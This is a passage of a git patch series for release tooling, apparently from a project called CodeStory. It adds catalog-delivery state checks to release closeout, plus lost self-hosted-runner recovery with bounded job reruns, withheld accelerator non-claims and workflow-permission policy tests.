"workflow_policy.catalog_delivery.publish_job"); if (dependencies[publishJob] === undefined) { @@ -276,6 +276,26 @@ function validateCatalogDelivery(policy, dependencies) { if (byId.get("deferred").live_catalog_revision !== false) { fail("workflow_policy.catalog_delivery deferred state must not consume a live catalog revision"); } + // Naming the two states is not enough on its own: something has to read the mark, or a + // deferred release's closeout verdict stays indistinguishable from a published one. This + // names the post-publish cell family whose signed `installer` identity the closeout resolves + // the delivery state from, so the graph cannot declare the states without a reader. + const installedCellGroup = nonEmptyText( + delivery.installed_cell_group, + "workflow_policy.catalog_delivery.installed_cell_group", + ); + const group = cellGroups.get(installedCellGroup); + if (group === undefined) { + fail(`workflow_policy.catalog_delivery.installed_cell_group ${installedCellGroup} must be a closeout cell group`); + } + if (group.phase !== "post_publish") { + fail(`workflow_policy.catalog_delivery.installed_cell_group ${installedCellGroup} must be a post-publish cell group`); + } + for (const key of ["required_identity", "singleton_identity"]) { + if (!(group[key] ?? []).includes("installer")) { + fail(`workflow_policy.catalog_delivery.installed_cell_group ${installedCellGroup} must carry installer in ${key}`); + } + } return delivery; } @@ -816,7 +836,7 @@ export function validateReleaseClaimGraph(graph) { } } validatePluginChain(policy.plugin_chain); - validateCatalogDelivery(policy, dependencies); + validateCatalogDelivery(policy, dependencies, cellGroups); stringArray(policy.artifact_workflows, "workflow_policy.artifact_workflows", { nonEmpty: true }); const promotion = object(policy.promotion, "workflow_policy.promotion"); nonEmptyText(promotion.source_branch, "workflow_policy.promotion.source_branch"); diff --git a/scripts/codestory-release-closeout.mjs b/scripts/codestory-release-closeout.mjs index ba0696f2c..a7b7e5921 100644 --- a/scripts/codestory-release-closeout.mjs +++ b/scripts/codestory-release-closeout.mjs @@ -141,6 +141,59 @@ export function deriveReleaseCells(graph, phase) { return cells; } +// Which catalog served the release is a fact about the release, so the closeout has to READ it +// rather than let it ride along as an unexamined string. Before this, `installer` on the +// post-publish installed cells was free-form: a deferred release's verdict was identical in +// shape to a published one, and nothing would have noticed a cell carrying a pre-publish +// installer identity either. The state is resolved from the signed cells, must be one of the +// two declared identities, must be the SAME one across every target, and lands in the ledger +// and summary. When it cannot be resolved the closeout records that explicitly and errors -- +// it never simply omits the field. +export function resolveCatalogDelivery({ graph, cells, manifests }) { + const delivery = graph.workflow_policy?.catalog_delivery; + const groupId = delivery?.installed_cell_group; + if (!delivery || typeof groupId !== "string") return { record: undefined, errors: [] }; + const relevant = cells.filter((cell) => cell.group_id === groupId); + if (relevant.length === 0) return { record: undefined, errors: [] }; + const byInstaller = new Map(delivery.states.map((state) => [state.installer, state])); + const errors = []; + const observed = new Set(); + for (const cell of relevant) { + const installer = manifests.get(cell.id)?.evidence?.identity?.installer; + if (typeof installer !== "string" || !byInstaller.has(installer)) { + errors.push( + `${cell.id} does not record a declared catalog delivery installer identity`, + ); + continue; + } + observed.add(installer); + } + if (observed.size !== 1 || errors.length > 0) { + if (observed.size > 1) { + errors.push( + `post-publish cells disagree on the catalog delivery state: ${[...observed].sort().join(", ")}`, + ); + } + if (observed.size === 0 && errors.length === 0) { + errors.push("post-publish cells record no catalog delivery state"); + } + return { + record: { state: "unresolved", installer: null, live_catalog_revision: null }, + errors, + }; + } + const [installer] = [...observed]; + const state = byInstaller.get(installer); + return { + record: { + state: state.id, + installer, + live_catalog_revision: state.live_catalog_revision, + }, + errors, + }; +} + export function resolveReleaseCellConstraints(cell, producerRunAttempt) { const attempt = text(producerRunAttempt, "producer run attempt"); if (!/^[1-9]\d*$/u.test(attempt)) fail("producer run attempt must be a positive integer"); @@ -1099,6 +1152,8 @@ export function evaluateReleaseCloseout({ } const missingCells = ledgerCells.filter(({ status }) => status === "missing").map(({ id }) => id); const failedCells = ledgerCells.filter(({ status }) => status === "fail").map(({ id }) => id); + const catalogDelivery = resolveCatalogDelivery({ graph, cells, manifests }); + inputErrors.push(...catalogDelivery.errors); inputErrors.sort(); const decision = inputErrors.length === 0 && missingCells.length === 0 && failedCells.length === 0 ? "accept" @@ -1114,6 +1169,7 @@ export function evaluateReleaseCloseout({ identity: canonicalReleaseClaimValue(gitIdentity), producer_provenance_sha256: digest(canonicalJson(trustedProducers)), trusted_exceptions_sha256: digest(canonicalJson(trustedExceptionDocument)), + ...(catalogDelivery.record ? { catalog_delivery: catalogDelivery.record } : {}), cells: ledgerCells, input_errors: inputErrors, }; @@ -1126,6 +1182,7 @@ export function evaluateReleaseCloseout({ identity: canonicalReleaseClaimValue(gitIdentity), producer_provenance_sha256: ledger.producer_provenance_sha256, trusted_exceptions_sha256: ledger.trusted_exceptions_sha256, + ...(catalogDelivery.record ? { catalog_delivery: catalogDelivery.record } : {}), counts: { required: ledgerCells.length, passed: ledgerCells.filter(({ status }) => new Set(["pass", "pass_with_exception"]).has(status)).length, diff --git a/scripts/tests/codestory-release-claims.test.mjs b/scripts/tests/codestory-release-claims.test.mjs index fd237c99a..22d6c7ff2 100644 --- a/scripts/tests/codestory-release-claims.test.mjs +++ b/scripts/tests/codestory-release-claims.test.mjs @@ -363,6 +363,54 @@ test("catalog delivery declares two distinguishable states and no release gate", ); }); +// Naming the two delivery states buys nothing on its own: the first version of this graph +// declared both and nothing anywhere read the mark, so a deferred release's closeout verdict was +// identical in shape to a published one. The graph must therefore also name the cell family whose +// signed installer identity the closeout resolves the state from -- and that family has to be a +// post-publish one that actually carries `installer`, or the reader would have nothing to read. +test("catalog delivery names the cells whose installer identity resolves the state", () => { + const delivery = graph.workflow_policy.catalog_delivery; + const group = graph.closeout.cell_groups + .find(({ id }) => id === delivery.installed_cell_group); + assert.equal(group.phase, "post_publish"); + assert.ok(group.required_identity.includes("installer")); + assert.ok(group.singleton_identity.includes("installer")); + + const unread = structuredClone(graph); + delete unread.workflow_policy.catalog_delivery.installed_cell_group; + assert.throws( + () => validateReleaseClaimGraph(unread), + /workflow_policy\.catalog_delivery\.installed_cell_group/u, + ); + + const unknown = structuredClone(graph); + unknown.workflow_policy.catalog_delivery.installed_cell_group = "no-such-group"; + assert.throws( + () => validateReleaseClaimGraph(unknown), + /must be a closeout cell group/u, + ); + + // A pre-publish family cannot carry the delivery state: it is produced before the catalog is + // ever touched, so reading it would report a state nothing had decided yet. + const early = structuredClone(graph); + early.workflow_policy.catalog_delivery.installed_cell_group = "candidate_installed_behavior"; + assert.throws( + () => validateReleaseClaimGraph(early), + /must be a post-publish cell group/u, + ); + + // The installer must be a singleton identity, or the three targets could each report a + // different catalog and no single state would exist to record. + const nonSingleton = structuredClone(graph); + nonSingleton.closeout.cell_groups + .find(({ id }) => id === delivery.installed_cell_group) + .singleton_identity = ["host_os", "host_arch", "native_engine"]; + assert.throws( + () => validateReleaseClaimGraph(nonSingleton), + /must carry installer in singleton_identity/u, + ); +}); + // check-workflow-policy.mjs asserts only that plugin-release.yml's `needs:` match this data, so a // chain that parses but orders nothing would let both gates pass while `gh release create` ran // detached from the release-authority checks and the plugin-proof matrix. Every mutation below diff --git a/scripts/tests/codestory-release-closeout.test.mjs b/scripts/tests/codestory-release-closeout.test.mjs index 699aebcd8..e80638c2d 100644 --- a/scripts/tests/codestory-release-closeout.test.mjs +++ b/scripts/tests/codestory-release-closeout.test.mjs @@ -76,7 +76,13 @@ function identityFor(cell, producerRunAttempt = "1") { case "host_arch": identity[key] = hostIdentity(target)[key]; break; case "runner": identity[key] = "hosted-runner"; break; case "backend": identity[key] = "CPU"; break; - case "installer": identity[key] = "managed_plugin"; break; + // The post-publish installed cells are where the closeout reads which catalog served the + // release, so their installer must be one of the two declared delivery identities. + case "installer": + identity[key] = cell.group_id === "installed_runtime_behavior" + ? "codex_marketplace_install" + : "managed_plugin"; + break; case "profile": identity[key] = "codestory-release-evidence-linux-arm64-v2"; break; case "corpus_id": identity[key] = "v0.16-axios-js-ts-v1"; break; case "cache_id": identity[key] = "cold-full-retrieval-v1"; break; @@ -920,3 +926,82 @@ test("native-fingerprint reuse is still refused, and refused for the tree it can ); } }); + +// Catalog publication is delivery, not a release gate, so a release may legitimately end with the +// public catalog untouched. The whole risk in allowing that is the deferred run reading as the +// published one, and the installer identity in the post-publish cells is the only thing that +// distinguishes them. Before these checks it was inert: a free-form string nothing read, so a +// deferred release's verdict was identical in shape to a published one. +test("the post-publish closeout resolves and records which catalog served the release", () => { + const prePublish = evaluate("pre_publish", manifestsFor("pre_publish")); + const published = evaluate( + "post_publish", + manifestsFor("post_publish", prePublish.ledger), + prePublish.ledger, + ); + assert.equal(published.decision, "accept"); + assert.deepEqual(published.ledger.catalog_delivery, { + state: "published", + installer: "codex_marketplace_install", + live_catalog_revision: true, + }); + assert.deepEqual(published.summary.catalog_delivery, published.ledger.catalog_delivery); + + // A deferred release is accepted -- it published real artifacts -- but its verdict says so. + const deferredManifests = manifestsFor("post_publish", prePublish.ledger); + for (const manifest of deferredManifests) { + if (manifest.cell_id.startsWith("installed_runtime_behavior:")) { + manifest.evidence.identity.installer = "codex_marketplace_deferred_fixture"; + } + } + const deferred = evaluate("post_publish", deferredManifests, prePublish.ledger); + assert.equal(deferred.decision, "accept"); + assert.deepEqual(deferred.ledger.catalog_delivery, { + state: "deferred", + installer: "codex_marketplace_deferred_fixture", + live_catalog_revision: false, + }); + // The two states must be distinguishable in the signed verdict, not only to a human reading a + // warning in a log that expires. + assert.notDeepEqual(deferred.ledger.catalog_delivery, published.ledger.catalog_delivery); + + // The pre-publish closeout has no post-publish installed cells, so it states nothing here + // rather than inventing a delivery state. + assert.equal(prePublish.ledger.catalog_delivery, undefined); +}); + +test("a post-publish closeout that cannot resolve one catalog delivery state is rejected", () => { + const prePublish = evaluate("pre_publish", manifestsFor("pre_publish")); + + // An installer identity no delivery state declares -- including the pre-publish lane's own + // candidate installer, which would otherwise sail through as a plausible-looking string. + for (const installer of ["candidate_managed_plugin", "managed_plugin", ""]) { + const manifests = manifestsFor("post_publish", prePublish.ledger); + for (const manifest of manifests) { + if (manifest.cell_id.startsWith("installed_runtime_behavior:")) { + manifest.evidence.identity.installer = installer; + } + } + const rejected = evaluate("post_publish", manifests, prePublish.ledger); + assert.equal(rejected.decision, "reject", installer); + assert.equal(rejected.ledger.catalog_delivery.state, "unresolved", installer); + assert.ok( + rejected.ledger.input_errors.some((message) => + message.includes("does not record a declared catalog delivery installer identity")), + `${installer}: ${JSON.stringify(rejected.ledger.input_errors)}`, + ); + } + + // Targets disagreeing about the delivery state is not a state; it is a broken release. + const split = manifestsFor("post_publish", prePublish.ledger); + split.find(({ cell_id: id }) => id === "installed_runtime_behavior:macos-arm64") + .evidence.identity.installer = "codex_marketplace_deferred_fixture"; + const rejected = evaluate("post_publish", split, prePublish.ledger); + assert.equal(rejected.decision, "reject"); + assert.equal(rejected.ledger.catalog_delivery.state, "unresolved"); + assert.ok( + rejected.ledger.input_errors.some((message) => + message.includes("disagree on the catalog delivery state")), + JSON.stringify(rejected.ledger.input_errors), + ); +}); diff --git a/scripts/tests/fixtures/release-claims/positive.json b/scripts/tests/fixtures/release-claims/positive.json index b3c97473e..40483915b 100644 --- a/scripts/tests/fixtures/release-claims/positive.json +++ b/scripts/tests/fixtures/release-claims/positive.json @@ -17,7 +17,7 @@ "type": "source_behavior", "tier": "source", "status": "pass", - "graph_sha256": "8c88b13d0085393f4675e34e2d3b285d053ed5dd604117272765ee90c8b2712b", + "graph_sha256": "dc16ae973ec63ecc72116f7861ff77eef8cf709ddf2002d7485665541f7fd2f6", "observed_at": "2026-07-16T11:00:00.000Z", "expires_at": "2026-07-17T11:00:00.000Z", "identity": { From 3df9759197377e96a71335eb9d5d0b941e3a23b2 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 10:12:24 -0500 Subject: [PATCH 038/132] recover a release from a lost self-hosted runner Release run 30357489443 was lost because the one GPU Linux host dropped its connection mid-proof. Actions reports that as an ordinary job failure, so the release had no way to tell it apart from a proof that ran and refused to pass, and pre-publish closeout failed as a cascade. Key on the signature Actions actually leaves: the exact lost-communication annotation, at least one step that completed with an empty conclusion, and no uploaded log blob. All three must hold at once, and job names are never read, so a proof that failed its own assertions stays an assertion failure. Every lookup that reads the signature fails closed. The annotations endpoint is gated on the checks: read token scope, which no permission block granted, so a 403 came back as "this job had no annotations" and the signature could never match in production. The collector now stops the run on any answer it did not get, only a 404 from the log endpoint counts as "no log was uploaded", and release.yml, auto-release.yml and lost-runner-rerun.yml all grant checks: read. The workflow policy refuses any job that runs the collector without it, including reusable-workflow callers whose grant is the ceiling for what they call. An evidence row whose log_uploaded was never established is an error rather than the permissive default. Recovery is machine-only and bounded to one automatic retry per host, counted in lost executions of that host's job rather than in run attempts. A release re-run for an unrelated reason has spent no recovery on any host, so the first loss of a runner is still owed its retry; the collector reads every attempt of the run to make that count possible and counts a carried-forward job once. A workflow_run companion re-dispatches the individual lost jobs by id, leaving assertion failures red. If a host is lost twice, the release records a populated non-claim for it instead of failing closed: accelerator runtime_execution not_proven_by_package with a non_claim_reason, mirroring the package manifest. The closeout does not take the producer's word for that. Its own job collects the same Actions evidence and re-derives the signature before it will authenticate a cell against the non-claim producer, so a red accelerator job cannot become an accepted withheld claim through a bug in the producer alone. How much of a release may go unproven is data: non_claim_policy.withhold_policy caps withheld hosts at one and names the claims that must keep a passing cell. Breaking either records a named input error and the closeout decision becomes reject, so a release that proved no accelerator on any platform cannot publish. The graph itself refuses a cap that does not leave one host proven. The ledger's two claim lists are literal in both directions: withheld_claims is what nothing proved, partially_withheld_claims is what another host still proved. The published surfaces say the same thing. The GitHub release notes' platform table is rendered from the accepted ledger -- release-platform-notes requires --ledger and has no graph-only mode -- so a platform whose accelerator was withheld is stated as unproven instead of listed as supported, and release-closeout-summary.json ships as a release asset so a consumer can read what a release proved without reaching into an expiring Actions artifact. Closes #1569 Co-Authored-By: Claude Opus 5 --- .github/scripts/check-workflow-policy.mjs | 238 ++++++- .../scripts/check-workflow-policy.test.mjs | 207 ++++++ .../scripts/collect-actions-job-evidence.sh | 103 +++ .github/scripts/lost-runner-recovery.mjs | 339 ++++++++++ .github/scripts/lost-runner-recovery.test.mjs | 600 ++++++++++++++++++ .github/workflows/auto-release.yml | 3 + .github/workflows/lost-runner-rerun.yml | 86 +++ .github/workflows/plugin-static.yml | 7 + .github/workflows/release.yml | 184 +++++- README.md | 20 + .../release-evidence/fixtures/candidate.json | 6 +- .../release-evidence/fixtures/report.json | 2 +- docs/contributors/testing-matrix.md | 82 +++ release-claims.json | 76 ++- scripts/codestory-release-cell-manifest.mjs | 164 ++++- scripts/codestory-release-claims.mjs | 214 ++++++- scripts/codestory-release-closeout.mjs | 234 ++++++- .../codestory-release-cell-manifest.test.mjs | 267 +++++++- .../tests/codestory-release-claims.test.mjs | 102 ++- .../tests/codestory-release-closeout.test.mjs | 389 +++++++++++- .../fixtures/release-claims/positive.json | 2 +- 21 files changed, 3284 insertions(+), 41 deletions(-) create mode 100755 .github/scripts/collect-actions-job-evidence.sh create mode 100644 .github/scripts/lost-runner-recovery.mjs create mode 100644 .github/scripts/lost-runner-recovery.test.mjs create mode 100644 .github/workflows/lost-runner-rerun.yml diff --git a/.github/scripts/check-workflow-policy.mjs b/.github/scripts/check-workflow-policy.mjs index 37d574591..5f75348f4 100644 --- a/.github/scripts/check-workflow-policy.mjs +++ b/.github/scripts/check-workflow-policy.mjs @@ -5,6 +5,10 @@ import path from "node:path"; import { fileURLToPath } from "node:url"; import { LineCounter, parseDocument } from "yaml"; import { loadReleaseClaimGraph } from "../../scripts/codestory-release-claims.mjs"; +import { + LOST_RUNNER_ANNOTATION, + MAXIMUM_RUN_ATTEMPTS, +} from "./lost-runner-recovery.mjs"; const workflowRoot = path.join(".github", "workflows"); const retrievalFile = "retrieval-engine-smoke.yml"; @@ -1643,7 +1647,12 @@ function validateReleaseCoordinator(workflows, violations, graph) { "scripts/tests/codestory-release-closeout.test.mjs", "scripts/tests/codestory-release-evidence-gate.test.mjs", ]); - requireStepRun(violations, releaseFile, policy, "Enforce workflow policy", ["node .github/scripts/check-workflow-policy.mjs"]); + requireStepRun(violations, releaseFile, policy, "Enforce workflow policy", [ + "node .github/scripts/check-workflow-policy.mjs", + // The recovery contract decides whether a lost host may withhold a claim, so the release's own + // policy gate must execute its tests before any proof runs. + "node --test .github/scripts/lost-runner-recovery.test.mjs", + ]); const preflight = requireJob(violations, releaseFile, release, "preflight"); add(violations, sameMembers(needs(preflight), releaseChain.dependencies.preflight), `${releaseFile} preflight dependencies must match the release claim graph`); @@ -1840,10 +1849,14 @@ function validateReleaseCoordinator(workflows, violations, graph) { const preCloseout = requireJob(violations, releaseFile, release, "pre-publish-closeout"); add(violations, sameMembers(needs(preCloseout), releaseChain.dependencies["pre-publish-closeout"]), `${releaseFile} pre-publish closeout dependencies must match the release claim graph`); + // The producer map is the trust boundary between a real proof and a non-claim, so the closeout + // collects the lost-runner evidence itself instead of inheriting the non-claim producer's verdict. requireStepRun(violations, releaseFile, preCloseout, "Authenticate pre-publish Actions provenance", [ "producer-map", "--phase pre_publish", "artifact_ids", + "bash .github/scripts/collect-actions-job-evidence.sh", + "--job-evidence target/release-closeout/job-evidence.json", ]); const preDownload = namedStep(preCloseout, "Download selected pre-publish release cells"); add( @@ -1878,10 +1891,27 @@ function validateReleaseCoordinator(workflows, violations, graph) { const publish = requireJob(violations, releaseFile, release, "publish"); add(violations, publish.if === "inputs.publish_release", `${releaseFile} publish must require trusted publication authority`); add(violations, sameMembers(needs(publish), releaseChain.dependencies.publish), `${releaseFile} publish dependencies must match the release claim graph`); + // The published platform table is a claim about this release, so it is rendered from the accepted + // ledger. Rendering it from the static graph is how a release whose accelerator proof was + // withheld still announced that accelerator as supported. + requireStepUses( + violations, + releaseFile, + publish, + "Download the accepted pre-publish closeout", + "actions/download-artifact@v8.0.1", + ); requireStepRun(violations, releaseFile, publish, "Compose versioned GitHub release notes", [ "node .github/scripts/extract-codestory-release-notes.mjs", "--output target/release-assets/release-notes.md", "node scripts/codestory-release-claims.mjs release-platform-notes", + "--ledger target/release-closeout/pre_publish/ledger.json", + ]); + // The ledger the README tells readers to consult has to be reachable from the release itself. + requireStepRun(violations, releaseFile, publish, "Ship the accepted closeout summary with the release", [ + "target/release-closeout/pre_publish/summary.json", + '"$(jq -r .decision "$summary")" = accept', + "target/release-assets/release-closeout-summary.json", ]); requireStepRun(violations, releaseFile, publish, "Refuse existing tag or release", [ 'git ls-remote --exit-code --tags origin "refs/tags/$TAG"', @@ -1959,6 +1989,8 @@ function validateReleaseCoordinator(workflows, violations, graph) { "producer-map", "--phase post_publish", "artifact_ids", + "bash .github/scripts/collect-actions-job-evidence.sh", + "--job-evidence target/release-closeout/job-evidence.json", ]); const postDownload = namedStep(postCloseout, "Download selected release cells without flattening"); add( @@ -4181,6 +4213,14 @@ function validateReleaseCellUploadOwnership(workflows, violations) { "linux-vulkan-proof.yml/packaged-vulkan/release-cell-postpublish-retrieval-linux-x64-attempt-${{ github.run_attempt }}", "linux-vulkan-proof.yml/packaged-vulkan/release-cell-prepublish-candidate-installed-linux-x64-attempt-${{ github.run_attempt }}", "post-publish-release-smoke.yml/smoke/release-cell-postpublish-${{ matrix.asset_target }}-attempt-${{ github.run_attempt }}", + // The withheld-claim producer is the one job allowed to write a cell it did not prove, and it + // owns exactly one attempt-qualified artifact per protected host and closeout phase. + "release.yml/accelerator-non-claim/release-cell-nonclaim-prepublish-macos-arm64-metal-attempt-${{ github.run_attempt }}", + "release.yml/accelerator-non-claim/release-cell-nonclaim-postpublish-macos-arm64-metal-attempt-${{ github.run_attempt }}", + "release.yml/accelerator-non-claim/release-cell-nonclaim-prepublish-windows-x64-vulkan-attempt-${{ github.run_attempt }}", + "release.yml/accelerator-non-claim/release-cell-nonclaim-postpublish-windows-x64-vulkan-attempt-${{ github.run_attempt }}", + "release.yml/accelerator-non-claim/release-cell-nonclaim-prepublish-linux-x64-vulkan-attempt-${{ github.run_attempt }}", + "release.yml/accelerator-non-claim/release-cell-nonclaim-postpublish-linux-x64-vulkan-attempt-${{ github.run_attempt }}", ]; add( violations, @@ -4189,6 +4229,200 @@ function validateReleaseCellUploadOwnership(workflows, violations) { ); } +const JOB_EVIDENCE_COLLECTOR = ".github/scripts/collect-actions-job-evidence.sh"; + +/// `checks: read` is the token scope that makes the lost-runner signature readable at all. +/// +/// The signature's first part is a job annotation, and GET /repos/{o}/{r}/check-runs/{id}/annotations +/// is gated on that scope. A workflow that runs the collector without it gets a 403, which the +/// collector now refuses rather than reporting as "no annotations" -- so the missing scope stops a +/// release instead of quietly making recovery impossible. This rule catches it before the release, +/// in every workflow that reaches the collector, including the reusable-workflow callers whose own +/// grant is the ceiling for everything they call. +export function annotationScopeViolations(workflows) { + const violations = []; + const grantsChecksRead = permissions => object(permissions).checks === "read"; + const collectorWorkflows = new Set(); + for (const [file, workflow] of workflows) { + for (const [jobId, job] of Object.entries(object(workflow.jobs))) { + const runsCollector = list(object(job).steps) + .some(step => String(object(step).run ?? "").includes(JOB_EVIDENCE_COLLECTOR)); + if (!runsCollector) continue; + collectorWorkflows.add(file); + // A job-level `permissions:` block replaces the workflow-level one outright, so the effective + // grant is whichever of the two the job actually has. + const effective = object(job).permissions !== undefined + ? object(job).permissions + : object(workflow).permissions; + add( + violations, + grantsChecksRead(effective), + `${file} job ${jobId} reads Actions job annotations and must grant checks: read`, + ); + } + } + for (const [file, workflow] of workflows) { + for (const [jobId, job] of Object.entries(object(workflow.jobs))) { + const uses = String(object(job).uses ?? ""); + if (!uses.startsWith("./.github/workflows/")) continue; + if (!collectorWorkflows.has(uses.slice(uses.lastIndexOf("/") + 1))) continue; + add( + violations, + grantsChecksRead(object(job).permissions), + `${file} job ${jobId} calls a workflow that reads job annotations and must pass checks: read`, + ); + } + } + add( + violations, + collectorWorkflows.size > 0, + `no workflow runs ${JOB_EVIDENCE_COLLECTOR}, so the lost-runner signature is never collected`, + ); + return violations; +} + +/// The two halves of the lost-runner contract: a bounded automatic re-dispatch, and a withheld +/// claim once that bound is spent. +/// +/// Both are places where a gate is being relaxed, so the policy pins the shapes that keep the +/// relaxation honest: the rerun names individual lost jobs instead of asking Actions to rerun every +/// failure, the recovery never waits on a human, and the withheld-claim producer decides from the +/// shared classifier rather than from "the proof job went red". +export function lostRunnerRecoveryViolations(workflows, graph) { + const violations = []; + const policy = graph.non_claim_policy; + const rerunFile = "lost-runner-rerun.yml"; + const rerun = workflows.get(rerunFile); + add( + violations, + MAXIMUM_RUN_ATTEMPTS === policy.maximum_run_attempts, + `${rerunFile} recovery bound must equal the release claim graph maximum_run_attempts`, + ); + add( + violations, + LOST_RUNNER_ANNOTATION === policy.annotation, + `${rerunFile} recovery contract must key on the annotation the release claim graph records`, + ); + if (!rerun) { + violations.push(`${rerunFile} must exist`); + } else { + const trigger = object(at(rerun, "on", "workflow_run")); + add( + violations, + includesAll(trigger.workflows, ["Auto Release", "Release"]) + && includesAll(trigger.types, ["completed"]), + `${rerunFile} must observe completed release runs`, + ); + add( + violations, + JSON.stringify(Object.entries(object(rerun.permissions)).sort()) + === JSON.stringify([["actions", "write"], ["checks", "read"], ["contents", "read"]]), + `${rerunFile} must hold only the Actions write and annotation read scopes its recovery needs`, + ); + const job = requireJob(violations, rerunFile, rerun, "rerun-lost-jobs"); + // The repository requires machine recovery: an environment on this job would put a human click + // between a dropped connection and the retry, which is the failure this workflow exists to fix. + add( + violations, + object(job).environment === undefined, + `${rerunFile} recovery must not wait on an approval environment`, + ); + add( + violations, + String(object(job).if ?? "").includes("github.event.workflow_run.conclusion == 'failure'"), + `${rerunFile} must act only on a failed release run`, + ); + requireStepRun(violations, rerunFile, job, "Collect Actions failure evidence", [ + "bash .github/scripts/collect-actions-job-evidence.sh", + ]); + requireStepRun(violations, rerunFile, job, "Plan the bounded rerun", [ + "node .github/scripts/lost-runner-recovery.mjs plan-rerun", + ]); + const dispatch = namedStep(job, "Re-dispatch only the lost jobs"); + add( + violations, + dispatch?.if === "steps.plan.outputs.rerun == 'true'", + `${rerunFile} re-dispatch must be gated on the classified recovery plan`, + ); + requireStepRun(violations, rerunFile, job, "Re-dispatch only the lost jobs", [ + "actions/jobs/$job_id/rerun", + ]); + // Re-running every failed job would sweep an assertion failure back into the queue alongside + // the lost one; the plan names ids, so the API call must be the per-job endpoint. + add( + violations, + !scalarStrings(rerun).some(value => value.includes("rerun-failed-jobs")), + `${rerunFile} must re-dispatch named lost jobs, never every failed job`, + ); + } + + const releaseFile = "release.yml"; + const release = workflows.get(releaseFile); + if (!release) return violations; + const job = requireJob(violations, releaseFile, release, "accelerator-non-claim"); + add( + violations, + sameMembers(needs(job), graph.workflow_policy.release_chain.dependencies["accelerator-non-claim"]), + `${releaseFile} non-claim dependencies must match the release claim graph`, + ); + add( + violations, + job.name === policy.producer_job_name, + `${releaseFile} non-claim job name must equal the release claim graph producer_job_name`, + ); + add( + violations, + object(job).environment === undefined, + `${releaseFile} non-claim producer must not wait on an approval environment`, + ); + add( + violations, + String(object(job).if ?? "").startsWith("always()"), + `${releaseFile} non-claim producer must observe every accelerator outcome`, + ); + requireStepRun(violations, releaseFile, job, "Collect protected accelerator job evidence", [ + "bash .github/scripts/collect-actions-job-evidence.sh", + "non_claim_policy.hosts", + ]); + requireStepRun(violations, releaseFile, job, "Decide withheld accelerator hosts", [ + "node .github/scripts/lost-runner-recovery.mjs plan-non-claim", + ]); + const record = namedStep(job, "Record populated accelerator non-claims"); + add( + violations, + record?.if === "steps.non-claim.outputs.withheld_hosts != ''", + `${releaseFile} non-claim cells must be written only for hosts the classifier withheld`, + ); + requireStepRun(violations, releaseFile, job, "Record populated accelerator non-claims", [ + "scripts/codestory-release-cell-manifest.mjs withhold", + '--producer-run-attempt "$GITHUB_RUN_ATTEMPT"', + ]); + // A non-claim producer that emitted evidence for a host that reported would overwrite a real + // proof, so every upload is bound to the classifier's own withheld list. Each closeout phase gets + // its own container: a phase authorizes every manifest inside the container it downloads, so a + // container mixing phases would carry a manifest that phase's producer map never selected. + for (const host of policy.hosts) { + for (const [phase, artifact] of Object.entries(host.producer_artifacts)) { + const prefix = artifact.replace("-attempt-{attempt}", ""); + const upload = [...list(job.steps)].find(step => + String(object(object(step).with).name ?? "").startsWith(prefix)); + add( + violations, + upload?.if === `contains(steps.non-claim.outputs.withheld_hosts, '${host.id}')` + && String(object(object(upload).with).path ?? "").endsWith(`/${host.id}/${phase}`), + `${releaseFile} withheld ${host.id} ${phase} cells must upload only that phase for a withheld host`, + ); + } + } + const closeout = requireJob(violations, releaseFile, release, "pre-publish-closeout"); + add( + violations, + String(object(closeout).if ?? "").includes("needs.accelerator-non-claim.result == 'success'"), + `${releaseFile} pre-publish closeout must require a decided non-claim outcome`, + ); + return violations; +} + function validateReleaseArtifactRerunSafety(workflows, violations) { const evidenceFile = releaseEvidenceWorkflowRef.slice( releaseEvidenceWorkflowRef.lastIndexOf("/") + 1, @@ -4605,6 +4839,8 @@ export function validateWorkflows(workflows, graph = loadReleaseClaimGraph(repos validateRemainingWorkflows(workflows, violations); validateReleaseCellUploadOwnership(workflows, violations); validateReleaseArtifactRerunSafety(workflows, violations); + violations.push(...annotationScopeViolations(workflows)); + violations.push(...lostRunnerRecoveryViolations(workflows, graph)); violations.push(...releaseWorkflowContractViolations(workflows, graph)); return violations; } diff --git a/.github/scripts/check-workflow-policy.test.mjs b/.github/scripts/check-workflow-policy.test.mjs index 3cd6fd726..6cb1c9cf5 100644 --- a/.github/scripts/check-workflow-policy.test.mjs +++ b/.github/scripts/check-workflow-policy.test.mjs @@ -5,11 +5,18 @@ import os from "node:os"; import path from "node:path"; import test from "node:test"; import { fileURLToPath } from "node:url"; +import { loadReleaseClaimGraph } from "../../scripts/codestory-release-claims.mjs"; import { + LOST_RUNNER_ANNOTATION, + MAXIMUM_RUN_ATTEMPTS, +} from "./lost-runner-recovery.mjs"; +import { + annotationScopeViolations, basicWorkflowViolations, draftSourcePolicyViolations, draftWorkflowPolicyViolations, loadWorkflows, + lostRunnerRecoveryViolations, macosCliDistributionViolations, notaryStepViolations, packagedPrSigningViolations, @@ -2470,3 +2477,203 @@ test("the plugin lane still forbids building, signing, and forwarded secrets", a }); } }); + +test("every lane that reads job annotations holds the checks: read scope", async (t) => { + // The recovery path was inert in production because none of the three permission blocks that + // govern the annotations call granted `checks: read`. The live repository now does, in all three + // -- including auto-release.yml, the lane that actually publishes. + const workflows = loadWorkflows(); + assert.deepEqual(annotationScopeViolations(workflows), []); + assert.equal(workflows.get("release.yml").permissions.checks, "read"); + assert.equal(workflows.get("lost-runner-rerun.yml").permissions.checks, "read"); + assert.equal(workflows.get("auto-release.yml").jobs.release.permissions.checks, "read"); + + const mutations = [ + ["release.yml loses the scope", live => { + delete live.get("release.yml").permissions.checks; + }, /release\.yml job accelerator-non-claim .*checks: read/u], + ["auto-release.yml loses the scope", live => { + delete live.get("auto-release.yml").jobs.release.permissions.checks; + }, /auto-release\.yml job release .*checks: read/u], + ["lost-runner-rerun.yml loses the scope", live => { + delete live.get("lost-runner-rerun.yml").permissions.checks; + }, /lost-runner-rerun\.yml job rerun-lost-jobs .*checks: read/u], + // A job-level block replaces the workflow-level one, so a narrower job grant is a real loss. + ["a job-level block drops the scope", live => { + live.get("release.yml").jobs["accelerator-non-claim"].permissions = { + actions: "read", + contents: "read", + }; + }, /release\.yml job accelerator-non-claim .*checks: read/u], + ["write is not read", live => { + live.get("release.yml").permissions.checks = "write"; + }, /release\.yml job accelerator-non-claim .*checks: read/u], + ]; + for (const [name, mutate, expected] of mutations) { + await t.test(name, () => { + const live = loadWorkflows(); + mutate(live); + const violations = annotationScopeViolations(live); + assert.notDeepEqual(violations, []); + assert.match(violations.join("\n"), expected); + // The whole gate must refuse too, not only the isolated predicate. + assert.notDeepEqual(validateWorkflows(live), []); + }); 